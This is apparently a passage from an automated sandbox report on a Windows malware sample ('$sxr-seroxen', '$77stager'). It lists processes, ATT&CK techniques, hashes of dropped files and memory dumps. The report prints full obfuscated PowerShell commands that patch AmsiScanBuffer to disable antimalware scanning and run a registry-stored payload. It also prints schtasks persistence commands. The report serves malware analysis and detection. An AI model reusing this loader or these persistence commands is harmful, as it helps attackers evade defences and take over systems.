or(''+[Char](82)+''+'T'+'Spe'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+','+''+[Char](72)+''+'i'+'de'+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$RdhVmqwPfFyDgc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$nZsbqJEnqnh.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+','+'V'+''+'i'+'r'+[Char](116)+'u'+[Char](97)+''+'l'+'',$JxHIxBEqjd,$RdhVmqwPfFyDgc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $nZsbqJEnqnh.CreateType();}$nXQURgOPfvIHr=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$JETkrqmFnoFXFL=$nXQURgOPfvIHr.GetMethod('Ge'+[Char](116)+'P'+[Char](114)+'o'+'c'+''+[Char](65)+''+'d'+'dr'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SaDjIeMzjqrUBJrNuuo=jbPJSzZstDIu @([String])([IntPtr]);$ypcFRbzSdxDpdSlnsHJwZJ=jbPJSzZstDIu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hhJxVDJUwYq=$nXQURgOPfvIHr.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+'d'+'u'+''+'l'+'e'+'H'+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$vgSeqFzYjYvOHN=$JETkrqmFnoFXFL.Invoke($Null,@([Object]$hhJxVDJUwYq,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$fDZeSTLdqswvUBrGW=$JETkrqmFnoFXFL.Invoke($Null,@([Object]$hhJxVDJUwYq,[Object](''+[Char](86)+'i'+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+'e'+'c'+[Char](116)+'')));$pBqoDhy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vgSeqFzYjYvOHN,$SaDjIeMzjqrUBJrNuuo).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$qeZmpWYHGRlTGeMaW=$JETkrqmFnoFXFL.Invoke($Null,@([Object]$pBqoDhy,[Object]('A'+'m'+''+[Char](115)+''+'i'+''+[Char](83)+'c'+[Char](97)+''+'n'+''+'B'+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$SeYzFHRcDC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fDZeSTLdqswvUBrGW,$ypcFRbzSdxDpdSlnsHJwZJ).Invoke($qeZmpWYHGRlTGeMaW,[uint32]8,4,[ref]$SeYzFHRcDC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qeZmpWYHGRlTGeMaW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fDZeSTLdqswvUBrGW,$ypcFRbzSdxDpdSlnsHJwZJ).Invoke($qeZmpWYHGRlTGeMaW,[uint32]8,0x20,[ref]$SeYzFHRcDC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FONiGeJHWsUI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TFwaIARQJurFnF,[Parameter(Position=1)][Type]$vHqHybamUN)$HSIvccKoaPS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'ass,'+[Char](80)+''+[Char](117)+'b'+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+[Char](65)+''+'n'+'si'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$HSIvccKoaPS.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Hid'+[Char](101)+''+'B'+'y'+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TFwaIARQJurFnF).SetImplementationFlags('R'+[Char](117)+'nti'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+'d');$HSIvccKoaPS.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+[Char](44)+'N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$vHqHybamUN,$TFwaIARQJurFnF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $HSIvccKoaPS.CreateType();}$GNabIBSCloAii=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+'l'+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+'o'+[Char](115)+'of'+'t'+''+[Char](46)+''+'W'+''+'i'+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+''+'e'+'M'+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$BgzfoeiYqQiETa=$GNabIBSCloAii.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+'d'+[Char](100)+''+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+'t'+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QQggqfPGDpMDyTXCxvE=FONiGeJHWsUI @([String])([IntPtr]);$qkkOGrbhmSzPeumeBHpYhf=FONiGeJHWsUI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cCtxrpSfIFh=$GNabIBSCloAii.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+'l'+''+[Char](51)+'2'+'.'+'dl'+[Char](108)+'')));$HRQpgaJeCFUiML=$BgzfoeiYqQiETa.Invoke($Null,@([Object]$cCtxrpSfIFh,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+'i'+'b'+''+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$jOextWMHONhODUUZT=$BgzfoeiYqQiETa.Invoke($Null,@([Object]$cCtxrpSfIFh,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+'r'+'o'+'t'+[Char](101)+'ct')));$QeUfzoY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HRQpgaJeCFUiML,$QQggqfPGDpMDyTXCxvE).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$hweLFXUraaEEJtrmy=$BgzfoeiYqQiETa.Invoke($Null,@([Object]$QeUfzoY,[Object](''+[Char](65)+'m'+[Char](115)+'iS'+[Char](99)+'a'+[Char](110)+'B'+'u'+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$yTpuXMUnwX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jOextWMHONhODUUZT,$qkkOGrbhmSzPeumeBHpYhf).Invoke($hweLFXUraaEEJtrmy,[uint32]8,4,[ref]$yTpuXMUnwX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hweLFXUraaEEJtrmy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jOextWMHONhODUUZT,$qkkOGrbhmSzPeumeBHpYhf).Invoke($hweLFXUraaEEJtrmy,[uint32]8,0x20,[ref]$yTpuXMUnwX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'TW'+[Char](65)+'R'+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+'st'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4724

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1220

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1248

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1440
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1820

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1932

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2016

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2172

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2432

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2456

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2496

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2636

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2716

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2752

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2796

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1908
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:408
- - C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
    "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:4028
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:1516
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4888

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3228

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3748

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3972

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4776

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2896

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2840

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4164

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2296

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:4176

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4924

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2836

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe

Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_un3e0xrr.qrh.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Filesize
412B

MD5
a56f36683a1a710649d472a22d5db53a

SHA1
12795044cbe6f08917e3b59e1454c7b744ac4a99

SHA256
7a6eb6f1874af98560af5da84a46a88f29e4b784223d1b68f0667b0bff353cf2

SHA512
93596cfd63762dcdc6ec8a8110686c0481112bacf5514196306a23eedaad7152c24f2bb30a4306000d40bc16bc7463bb699ad36359c8bb003b03b1fe9fc18c56

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
3KB

MD5
75ef8920be65ae38b2154021b090b6bb

SHA1
bd228e800220ae93f140f51d455794fa6fe8d46a

SHA256
4d0e28ed36a24718e1546ffc10978fbd0a2fe86fa087358aa5ca561f2109bef6

SHA512
c3a393eb9160bf65c47e6d0035b530fa47ba0a16273caf9c67e6660670e97e77318076dd771bdb60480b12157e31aeeca373176dd513ae6776d8a667f10ed143

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
efe0903424c927d3611f8d8acd078b79

SHA1
22fda4e644f8fa0908493f40b930b1dff1755356

SHA256
79fc6c6c41514007fa27978e5313312789718489126594f603a4a325153114d6

SHA512
8de645327a416095eae442471a8b4f0b27c60dd424545ebb9f9708a412b6f7d0635ef3069e1663db3dd2bfe5882040c25a1af10d12a2eed4bf8340fd401f8de9

Download Submit
memory/580-75-0x0000022A61B90000-0x0000022A61BBB000-memory.dmp

Filesize
172KB

Download
memory/580-69-0x0000022A61B90000-0x0000022A61BBB000-memory.dmp

Filesize
172KB

Download
memory/580-66-0x0000022A61B60000-0x0000022A61B85000-memory.dmp

Filesize
148KB

Download
memory/580-76-0x00007FFE97C30000-0x00007FFE97C40000-memory.dmp

Filesize
64KB

Download
memory/580-67-0x0000022A61B90000-0x0000022A61BBB000-memory.dmp

Filesize
172KB

Download
memory/636-86-0x00000273B7070000-0x00000273B709B000-memory.dmp

Filesize
172KB

Download
memory/636-87-0x00007FFE97C30000-0x00007FFE97C40000-memory.dmp

Filesize
64KB

Download
memory/636-80-0x00000273B7070000-0x00000273B709B000-memory.dmp

Filesize
172KB

Download
memory/740-98-0x00007FFE97C30000-0x00007FFE97C40000-memory.dmp

Filesize
64KB

Download
memory/740-91-0x000002358C120000-0x000002358C14B000-memory.dmp

Filesize
172KB

Download
memory/740-97-0x000002358C120000-0x000002358C14B000-memory.dmp

Filesize
172KB

Download
memory/896-109-0x00007FFE97C30000-0x00007FFE97C40000-memory.dmp

Filesize
64KB

Download
memory/896-102-0x0000027FF7910000-0x0000027FF793B000-memory.dmp

Filesize
172KB

Download
memory/896-108-0x0000027FF7910000-0x0000027FF793B000-memory.dmp

Filesize
172KB

Download
memory/996-113-0x000002372C1A0000-0x000002372C1CB000-memory.dmp

Filesize
172KB

Download
memory/2748-1264-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/2748-1265-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/2748-182-0x0000000006250000-0x000000000625A000-memory.dmp

Filesize
40KB

Download
memory/2748-14-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/2748-13-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/3104-20-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/3104-0-0x000000007324E000-0x000000007324F000-memory.dmp

Filesize
4KB

Download
memory/3104-1-0x00000000008F0000-0x000000000095C000-memory.dmp

Filesize
432KB

Download
memory/3104-2-0x00000000056A0000-0x0000000005B9E000-memory.dmp

Filesize
5.0MB

Download
memory/3104-3-0x0000000005250000-0x00000000052E2000-memory.dmp

Filesize
584KB

Download
memory/3104-4-0x0000000073240000-0x000000007392E000-memory.dmp

Filesize
6.9MB

Download
memory/3104-5-0x00000000052F0000-0x0000000005356000-memory.dmp

Filesize
408KB

Download
memory/3104-6-0x0000000005F60000-0x0000000005F72000-memory.dmp

Filesize
72KB

Download
memory/3104-7-0x0000000006350000-0x000000000638E000-memory.dmp

Filesize
248KB

Download
memory/4456-50-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-52-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-61-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4456-55-0x00007FFED7BA0000-0x00007FFED7D7B000-memory.dmp

Filesize
1.9MB

Download
memory/4456-56-0x00007FFED7AF0000-0x00007FFED7B9E000-memory.dmp

Filesize
696KB

Download
memory/5004-48-0x00007FFED7AF0000-0x00007FFED7B9E000-memory.dmp

Filesize
696KB

Download
memory/5004-46-0x000001E94AAD0000-0x000001E94AAFA000-memory.dmp

Filesize
168KB

Download
memory/5004-28-0x000001E94A950000-0x000001E94A9C6000-memory.dmp

Filesize
472KB

Download
memory/5004-25-0x000001E94A780000-0x000001E94A7A2000-memory.dmp

Filesize
136KB

Download
memory/5004-47-0x00007FFED7BA0000-0x00007FFED7D7B000-memory.dmp

Filesize
1.9MB

Download